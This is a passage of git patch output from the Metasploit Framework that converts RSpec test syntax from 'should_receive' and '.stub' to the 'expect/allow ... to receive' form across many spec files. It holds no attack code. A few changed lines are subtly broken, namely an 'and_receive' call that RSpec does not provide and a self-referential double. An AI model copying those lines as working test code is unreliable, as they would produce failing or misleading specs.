db_manager.stub(:report_vuln) - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :host => normalized_host ) @@ -196,7 +196,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it 'should pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :arch => arch ) @@ -208,7 +208,7 @@ shared_examples_for 'Msf::DBManager::Session' do context 'without session responds to arch' do it 'should not pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_excluding( :arch ) @@ -497,13 +497,13 @@ shared_examples_for 'Msf::DBManager::Session' do context 'without :workspace' do it 'should find workspace from session' do - db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + expect(db_manager).to receive(:find_workspace).with(session.workspace).and_call_original report_session end it 'should pass session.workspace to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :workspace => session_workspace ) @@ -520,7 +520,7 @@ shared_examples_for 'Msf::DBManager::Session' do # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. db_manager.stub(:report_vuln) - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :host => normalized_host ) @@ -539,7 +539,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it 'should pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :arch => arch ) @@ -551,7 +551,7 @@ shared_examples_for 'Msf::DBManager::Session' do context 'without session responds to arch' do it 'should not pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_excluding( :arch ) diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 0eed8f9dc1..881d2e9b13 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -24,13 +24,13 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do end it 'should create instance of module corresponding to Mdm::Module::Detail' do - module_set.should_receive(:create).with(module_detail.refname) + expect(module_set).to receive(:create).with(module_detail.refname) update_all_module_details end it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do - db_manager.should_receive(:update_module_details) do |module_instance| + expect(db_manager).to receive(:update_module_details) do |module_instance| module_instance.should be_a Msf::Module expect(module_instance.type).to eq module_detail.mtype expect(module_instance.refname).to eq module_detail.refname @@ -45,7 +45,7 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do end it 'should log error' do - db_manager.should_receive(:elog) + expect(db_manager).to receive(:elog) update_all_module_details end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 2a6f66b662..823a8e8a07 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -167,14 +167,14 @@ shared_examples_for 'Msf::ModuleManager::Cache' do it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do module_manager.send(:loaders).each do |loader| - loader.should_receive(:loadable?).with(parent_path).and_call_original + expect(loader).to receive(:loadable?).with(parent_path).and_call_original end load_cached_module end it 'should force load using #load_module on the loader' do - Msf::Modules::Loader::Directory.any_instance.should_receive( + expect(Msf::Modules::Loader::Directory.any_instance).to receive( :load_module ).with( parent_path, @@ -240,8 +240,8 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do - framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered - module_manager.should_receive(:refresh_cache_from_database).ordered + expect(framework.db).to receive(:update_module_details).with(module_class_or_instance).ordered + expect(module_manager).to receive(:refresh_cache_from_database).ordered refresh_cache_from_module_files end @@ -253,8 +253,8 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should update database and then update in-memory cache from the database for all modules' do - framework.db.should_receive(:update_all_module_details).ordered - module_manager.should_receive(:refresh_cache_from_database) + expect(framework.db).to receive(:update_all_module_details).ordered + expect(module_manager).to receive(:refresh_cache_from_database) refresh_cache_from_module_files end @@ -296,7 +296,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should call #module_info_by_path_from_database!' do - module_manager.should_receive(:module_info_by_path_from_database!) + expect(module_manager).to receive(:module_info_by_path_from_database!) refresh_cache_from_database end @@ -369,7 +369,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do - Mdm::Module::Detail.should_receive(:find_each) + expect(Mdm::Module::Detail).to receive(:find_each) module_info_by_path_from_database! end @@ -395,7 +395,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do - Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original + expect(Msf::Modules::Loader::Base).to receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original module_info_by_path_from_database! end diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index a70c5bb179..d7262e02c4 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -129,7 +129,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end it "should add module to type's module_set" do - module_set.should_receive(:add_module).with( + expect(module_set).to receive(:add_module).with( klass, reference_name, options @@ -139,19 +139,19 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end it 'should call cache_in_memory' do - module_manager.should_receive(:cache_in_memory) + expect(module_manager).to receive(:cache_in_memory) on_module_load end it 'should pass class to #auto_subscribe_module' do - module_manager.should_receive(:auto_subscribe_module).with(klass) + expect(module_manager).to receive(:auto_subscribe_module).with(klass) on_module_load end it 'should fire on_module_load event with class' do - framework.events.should_receive(:on_module_load).with( + expect(framework.events).to receive(:on_module_load).with( reference_name, klass ) diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index a8ad92485b..d9b5090bab 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -29,7 +29,7 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do end it 'should refresh module cache from database' do - framework.modules.should_receive(:refresh_cache_from_database) + expect(framework.modules).to receive(:refresh_cache_from_database) init_module_paths end @@ -52,7 +52,7 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do end it 'should add Msf::Config.user_module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( + expect(framework.modules).to receive(:add_module_path).with( user_module_directory, options ) @@ -86,7 +86,7 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do it 'should add each module path' do module_paths.each do |module_path| - framework.modules.should_receive(:add_module_path).with(module_path, options) + expect(framework.modules).to receive(:add_module_path).with(module_path, options) end init_module_paths From 2534b18f4cbdde9d10d4ec80d12247971e95e732 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 13:45:31 -0500 Subject: [PATCH 1494/2172] .stub -> expect().to receive MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 3 +- .../framework/credential_collection_spec.rb | 10 +- .../framework/login_scanner/glassfish_spec.rb | 6 +- .../framework/login_scanner/pop3_spec.rb | 12 ++- .../framework/login_scanner/smb_spec.rb | 10 +- spec/lib/msf/core/data_store_spec.rb | 10 +- spec/lib/msf/core/exploit/http/server_spec.rb | 8 +- .../remote/browser_exploit_server_spec.rb | 2 +- .../remote/firefox_addon_generator_spec.rb | 12 +-- spec/lib/msf/core/modules/loader/base_spec.rb | 95 ++++++++++--------- .../msf/core/modules/loader/directory_spec.rb | 12 +-- spec/lib/msf/core/modules/namespace_spec.rb | 4 +- spec/lib/msf/core/option_container_spec.rb | 17 ++-- spec/lib/msf/core/post/windows/mssql_spec.rb | 6 +- spec/lib/msf/core/post/windows/priv_spec.rb | 10 +- spec/lib/msf/core/post/windows/runas_spec.rb | 14 +-- .../console/command_dispatcher/core_spec.rb | 2 +- spec/lib/rex/parser/winscp_spec.rb | 4 +- .../post/meterpreter/packet_parser_spec.rb | 2 +- spec/lib/rex/proto/http/client_spec.rb | 10 +- spec/lib/rex/proto/pjl/client_spec.rb | 32 +++---- spec/lib/rex/socket_spec.rb | 4 +- spec/lib/rex/sslscan/result_spec.rb | 2 +- spec/lib/rex/sslscan/scanner_spec.rb | 2 +- spec/msfupdate_spec.rb | 8 +- .../support/shared/contexts/msf/db_manager.rb | 2 +- spec/support/shared/contexts/msf/ui_driver.rb | 8 +- .../import/metasploit_framework/xml.rb | 4 +- .../examples/msf/db_manager/migration.rb | 6 +- .../examples/msf/db_manager/module_cache.rb | 14 +-- .../shared/examples/msf/db_manager/session.rb | 12 +-- .../update_all_module_details_refresh.rb | 2 +- .../shared/examples/msf/module/search.rb | 15 +-- .../examples/msf/module_manager/cache.rb | 10 +- .../examples/msf/module_manager/loading.rb | 2 +- .../msf/simple/framework/module_paths.rb | 2 +- spec/tools/md5_lookup_spec.rb | 2 +- spec/tools/virustotal_spec.rb | 26 ++--- 38 files changed, 205 insertions(+), 197 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 822b944d35..d63212bd98 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -79,8 +79,7 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should yield #connection' do - connection = double('Connection') - connection_pool.stub(:connection => connection) + connection = double('Connection', connection: connection) expect { |block| connection_pool.with_connection(&block) diff --git a/spec/lib/metasploit/framework/credential_collection_spec.rb b/spec/lib/metasploit/framework/credential_collection_spec.rb index 165d35d59f..247060845e 100644 --- a/spec/lib/metasploit/framework/credential_collection_spec.rb +++ b/spec/lib/metasploit/framework/credential_collection_spec.rb @@ -33,7 +33,7 @@ RSpec.describe Metasploit::Framework::CredentialCollection do let(:user_file) do filename = "foo" stub_file = StringIO.new("asdf\njkl\n") - File.stub(:open).with(filename,/^r/).and_yield stub_file + allow(File).to receive(:open).with(filename,/^r/).and_yield stub_file filename end @@ -51,7 +51,7 @@ RSpec.describe Metasploit::Framework::CredentialCollection do let(:pass_file) do filename = "foo" stub_file = StringIO.new("asdf\njkl\n") - File.stub(:open).with(filename,/^r/).and_return stub_file + allow(File).to receive(:open).with(filename,/^r/).and_return stub_file filename end @@ -71,7 +71,7 @@ RSpec.describe Metasploit::Framework::CredentialCollection do let(:userpass_file) do filename = "foo" stub_file = StringIO.new("asdf jkl\nfoo bar\n") - File.stub(:open).with(filename,/^r/).and_yield stub_file + allow(File).to receive(:open).with(filename,/^r/).and_yield stub_file filename end @@ -90,14 +90,14 @@ RSpec.describe Metasploit::Framework::CredentialCollection do let(:user_file) do filename = "user_file" stub_file = StringIO.new("asdf\njkl\n") - File.stub(:open).with(filename,/^r/).and_yield stub_file + allow(File).to receive(:open).with(filename,/^r/).and_yield stub_file filename end let(:pass_file) do filename = "pass_file" stub_file = StringIO.new("asdf\njkl\n") - File.stub(:open).with(filename,/^r/).and_return stub_file + allow(File).to receive(:open).with(filename,/^r/).and_return stub_file filename end diff --git a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb index 26250d25c0..94a5693656 100644 --- a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb @@ -87,13 +87,15 @@ RSpec.describe Metasploit::Framework::LoginScanner::Glassfish do context '#is_secure_admin_disabled?' do it 'returns true when Secure Admin is disabled' do res = Rex::Proto::Http::Response.new(res_code) - res.stub(:body).and_return('Secure Admin must be enabled') + allow(res).to receive(:body).and_return('Secure Admin must be enabled') + expect(http_scanner.is_secure_admin_disabled?(res)).to be_truthy end it 'returns false when Secure Admin is enabled' do res = Rex::Proto::Http::Response.new(res_code) - res.stub(:body).and_return('') + allow(res).to receive(:body).and_return('') + expect(http_scanner.is_secure_admin_disabled?(res)).to be_falsey end end diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb index a2f72f946c..b652bd33d6 100644 --- a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -47,11 +47,13 @@ RSpec.describe Metasploit::Framework::LoginScanner::POP3 do let(:sock) {double('socket')} before(:each) do - sock.stub(:shutdown) - sock.stub(:close) - sock.stub(:closed?) + allow(sock).to receive(:shutdown) + allow(sock).to receive(:close) + allow(sock).to receive(:closed?) + + allow(scanner).to receive(:sock).and_return(sock) + expect(scanner).to receive(:connect) - scanner.stub(:sock).and_return(sock) expect(scanner).to receive(:select).with([sock],nil,nil,0.4) end @@ -68,7 +70,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::POP3 do end it "Server Returns Something Else" do - sock.stub(:get_once).and_return("+ERROR") + allow(sock).to receive(:get_once).and_return("+ERROR") result = scanner.attempt_login(pub_blank) diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb index 67327c6ad1..f028463db5 100644 --- a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -121,9 +121,9 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do context 'and the user is local admin' do before(:each) do login_scanner.simple = double - login_scanner.simple.stub(:connect).with(/.*admin\$/i) - login_scanner.simple.stub(:connect).with(/.*ipc\$/i) - login_scanner.simple.stub(:disconnect) + allow(login_scanner.simple).to receive(:connect).with(/.*admin\$/i) + allow(login_scanner.simple).to receive(:connect).with(/.*ipc\$/i) + allow(login_scanner.simple).to receive(:disconnect) end it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do @@ -137,11 +137,11 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do context 'and the user is NOT local admin' do before(:each) do login_scanner.simple = double - login_scanner.simple.stub(:connect).with(/.*admin\$/i).and_raise( + allow(login_scanner.simple).to receive(:connect).with(/.*admin\$/i).and_raise( # STATUS_ACCESS_DENIED Rex::Proto::SMB::Exceptions::ErrorCode.new.tap{|e|e.error_code = 0xC0000022} ) - login_scanner.simple.stub(:connect).with(/.*ipc\$/i) + allow(login_scanner.simple).to receive(:connect).with(/.*ipc\$/i) end it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index da0d744d25..587d057c28 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -66,12 +66,14 @@ RSpec.describe Msf::DataStore do describe "#from_file" do subject do - ini_instance = double - ini_instance.stub(:group?).and_return(true) - ini_instance.stub(:[]).and_return( { "foo" => "bar", "fizz" => "buzz" } ) + ini_instance = double group?: true, + :[] => { + "foo" => "bar", + "fizz" => "buzz" + } ini = stub_const("Rex::Parser::Ini", Class.new) - ini.stub(:from_file).and_return(ini_instance) + allow(ini).to receive(:from_file).and_return(ini_instance) s = described_class.new s.from_file("path") diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 14b1799bb0..b07b5f876a 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -16,15 +16,15 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do end let(:mock_service) do - mock_service = double("service") - mock_service.stub(:server_name=) - mock_service.stub(:add_resource) + mock_service = double 'service', + add_resource: nil, + :'server_name' => nil mock_service end before do - Rex::ServiceManager.stub(:start => mock_service) + allow(Rex::ServiceManager).to receive(:start).and_return(mock_service) end # Ensure the class is hooks Metasploit::Concern diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 92b672f17e..9c941d6fe8 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -109,7 +109,7 @@ RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do end before do - Rex::ServiceManager.stub(:start => service_double) + allow(Rex::ServiceManager).to receive(:start).and_return(service_double) end before(:each) do diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb index d3be110685..ed2c53a18d 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -13,13 +13,11 @@ RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do mod.extend described_class mod.extend Msf::Exploit::Remote::BrowserExploitServer mod.send(:initialize, {}) - mod.stub( - :payload => payload, - :regenerate_payload => payload, - :framework => framework, - :datastore => datastore - ) - mod + + allow(mod).to receive(:datastore).and_return(datastore) + allow(mod).to receive(:framework).and_return(framework) + allow(mod).to receive(:payload).and_return(payload) + allow(mod).to receive(:regenerate_payload).and_return(payload) end describe '#generate_addon_xpi' do diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 0288c9d73c..a97c508f68 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -255,7 +255,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - subject.stub(:module_path => module_path) + allow(subject).to receive(:module_path).and_return(module_path) end it 'should call file_changed? with the module_path' do @@ -266,7 +266,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'without file changed' do before(:each) do - module_manager.stub(:file_changed? => false) + allow(module_manager).to receive(:file_changed?).and_return(false) end it 'should return false if :force is false' do @@ -318,16 +318,16 @@ RSpec.describe Msf::Modules::Loader::Base do @original_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b - module_manager.stub(:delete).with(module_reference_name) - module_manager.stub(:file_changed?).with(module_path).and_return(true) - module_set = double('Module Set') - module_set.stub(:delete).with(module_reference_name) - module_manager.stub(:module_set).with(type).and_return(module_set) + allow(module_set).to receive(:delete).with(module_reference_name) + + allow(module_manager).to receive(:delete).with(module_reference_name) + allow(module_manager).to receive(:file_changed?).with(module_path).and_return(true) + allow(module_manager).to receive(:module_set).with(type).and_return(module_set) end it 'should call #namespace_module_transaction with the module full name and :reload => true' do - subject.stub(:read_module_content => module_content) + allow(subject).to receive(:read_module_content).and_return(module_content) expect(subject).to receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) @@ -335,24 +335,26 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do - module_manager.stub(:on_module_load) + allow(module_manager).to receive(:on_module_load) - subject.stub(:read_module_content => module_content) + allow(subject).to receive(:read_module_content).and_receive(module_content) subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(namespace_module.parent_path).to eq parent_path end it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do - module_manager.stub(:on_module_load) + allow(module_manager).to receive(:on_module_load) expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do - subject.stub(:read_module_content => malformed_module_content) - module_manager.stub(:on_module_load) + allow(subject).to receive(:read_module_content).and_return(malformed_module_content) + allow(module_manager).to receive(:on_module_load) # if the module eval error includes the module_path then the module_path was passed along correctly expect(subject).to receive(:elog).with(/#{Regexp.escape(module_path)}/) @@ -361,7 +363,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with empty module content' do before(:each) do - subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return('') + allow(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return('') end it 'should return false' do @@ -376,17 +378,16 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with errors from namespace_module_eval_with_lexical_scope' do before(:each) do - @namespace_module = double('Namespace Module') - @namespace_module.stub(:parent_path=) + @namespace_module = double('Namespace Module', :'parent_path=' => nil) + module_content = double('Module Content', empty?: false) - subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - module_content = double('Module Content', :empty? => false) - subject.stub(:read_module_content).and_return(module_content) + allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) + allow(subject).to receive(:read_module_content).and_return(module_content) end context 'with Interrupt' do it 'should re-raise' do - @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(Interrupt) + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(Interrupt) expect { subject.load_module(parent_path, type, module_reference_name) @@ -415,17 +416,17 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(error) + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(error) @module_load_error_by_path = {} - module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) + expect(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) - error.stub(:backtrace => backtrace) + expect(error).to receive(:backtrace).and_return(backtrace) end context 'with version compatibility' do before(:each) do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) end it 'should record the load error using the original error' do @@ -449,7 +450,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - @namespace_module.stub( + allow(@namespace_module).to receive( :version_compatible! ).with( module_path, @@ -466,7 +467,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return false' do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) subject.load_module(parent_path, type, module_reference_name).should be_falsey end @@ -476,22 +477,22 @@ RSpec.describe Msf::Modules::Loader::Base do context 'without module_eval errors' do before(:each) do @namespace_module = double('Namespace Module') - @namespace_module.stub(:parent_path=) - @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) + expect(@namespace_module).to receive(:parent_path=) + expect(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) metasploit_class = double('Metasploit Class', :parent => @namespace_module) - @namespace_module.stub(:metasploit_class! => metasploit_class) + expect(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) - subject.stub(:namespace_module_transaction).and_yield(@namespace_module) + expect(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) - subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) @module_load_error_by_path = {} - module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) + expect(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) end it 'should check for version compatibility' do - module_manager.stub(:on_module_load) + expect(module_manager).to receive(:on_module_load) expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) subject.load_module(parent_path, type, module_reference_name) @@ -512,7 +513,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - @namespace_module.stub( + allow(@namespace_module).to receive( :version_compatible! ).with( module_path, @@ -538,9 +539,9 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with version compatibility' do before(:each) do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) - module_manager.stub(:on_module_load) + expect(module_manager).to receive(:on_module_load) end context 'without metasploit_class' do @@ -552,7 +553,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - @namespace_module.stub(:metasploit_class!).with(module_path, module_reference_name).and_raise(error) + expect(@namespace_module).to receive(:metasploit_class!).with(module_path, module_reference_name).and_raise(error) end it 'should record load error' do @@ -582,7 +583,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - @namespace_module.stub(:metasploit_class! => metasploit_class) + expect(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) end it 'should check if it is usable' do @@ -592,7 +593,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'without usable metasploit_class' do before(:each) do - subject.stub(:usable? => false) + expect(subject).to receive(:usable?).and_return(false) end it 'should log information' do @@ -734,8 +735,8 @@ RSpec.describe Msf::Modules::Loader::Base do ) namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) + expect(namespace_module).to receive(:loader=) + expect(subject).to receive(:current_module).and_return(namespace_module) subject.send(:create_namespace_module, namespace_module_names) end @@ -750,8 +751,8 @@ RSpec.describe Msf::Modules::Loader::Base do ) namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) + expect(namespace_module).to receive(:loader=) + expect(subject).to receive(:current_module).and_return(namespace_module) subject.send(:create_namespace_module, namespace_module_names) end @@ -766,8 +767,8 @@ RSpec.describe Msf::Modules::Loader::Base do ) namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) + expect(namespace_module).to receive(:loader=) + expect(subject).to receive(:current_module).and_return(namespace_module) subject.send(:create_namespace_module, namespace_module_names) end @@ -777,7 +778,7 @@ RSpec.describe Msf::Modules::Loader::Base do expect(namespace_module).to receive(:loader=).with(subject) - subject.stub(:current_module => namespace_module) + expect(subject).to receive(:current_module).and_return(namespace_module) subject.send(:create_namespace_module, namespace_module_names) end @@ -1352,7 +1353,7 @@ RSpec.describe Msf::Modules::Loader::Base do let(:metasploit_class) do metasploit_class = double('Metasploit Class') - metasploit_class.stub(:is_usable).and_raise(error) + expect(metasploit_class).to receive(:is_usable).and_raise(error) metasploit_class end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index e87d7929fb..6c243a5949 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -33,9 +33,9 @@ RSpec.describe Msf::Modules::Loader::Directory do framework = double('Msf::Framework', :datastore => {}) events = double('Events') - events.stub(:on_module_load) - events.stub(:on_module_created) - framework.stub(:events => events) + expect(events).to receive(:on_module_load) + expect(events).to receive(:on_module_created) + expect(framework).to receive(:events).and_return(events) framework end @@ -107,8 +107,8 @@ RSpec.describe Msf::Modules::Loader::Directory do end before(:each) do - module_manager.stub(:file_changed? => true) - module_manager.stub(:module_load_error_by_path => {}) + expect(module_manager).to receive(:file_changed?).and_return(true) + expect(module_manager).to receive(:module_load_error_by_path).and_return({}) end it 'should not raise an error' do @@ -134,7 +134,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end before(:each) do - subject.stub(:load_error).with(module_path, kind_of(Errno::ENOENT)) + expect(subject).to receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) end # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 39f370b828..177edb0270 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -129,7 +129,7 @@ RSpec.describe Msf::Modules::Namespace do end before(:each) do - subject.stub(:metasploit_class => metasploit_class) + allow(subject).to receive(:metasploit_class).and_return(metasploit_class) end it 'should return the metasploit_class' do @@ -139,7 +139,7 @@ RSpec.describe Msf::Modules::Namespace do context 'without metasploit_class' do before(:each) do - subject.stub(:metasploit_class => nil) + allow(subject).to receive(:metasploit_class) end it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 46b14c0965..708a00ed31 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -5,15 +5,16 @@ require 'msf/core/option_container' RSpec.describe Msf::OptionContainer do it "should create new options for it's args" do - foo_inst = double("foo_inst") - foo_inst.stub(:advanced=) - foo_inst.stub(:evasion=) - foo_inst.stub(:owner=) + foo_inst = double( + "foo_inst", + :'advanced=' => nil, + :'evasion=' => nil, + :'owner=' => nil + ) - foo_class = double("opt_class") - expect(foo_class).to receive(:new).and_return(foo_inst) - - expect(foo_inst).to receive(:name).and_return("thing") + foo_class = double 'opt_class', + name: 'thing', + new: foo_inst subject = described_class.new({ 'thing' => [ foo_class, true, nil, false ] diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index b8f8d1174a..a51cb84905 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -8,8 +8,8 @@ RSpec.describe Msf::Post::Windows::MSSQL do mod = Module.new mod.extend described_class stubs = [ :vprint_status, 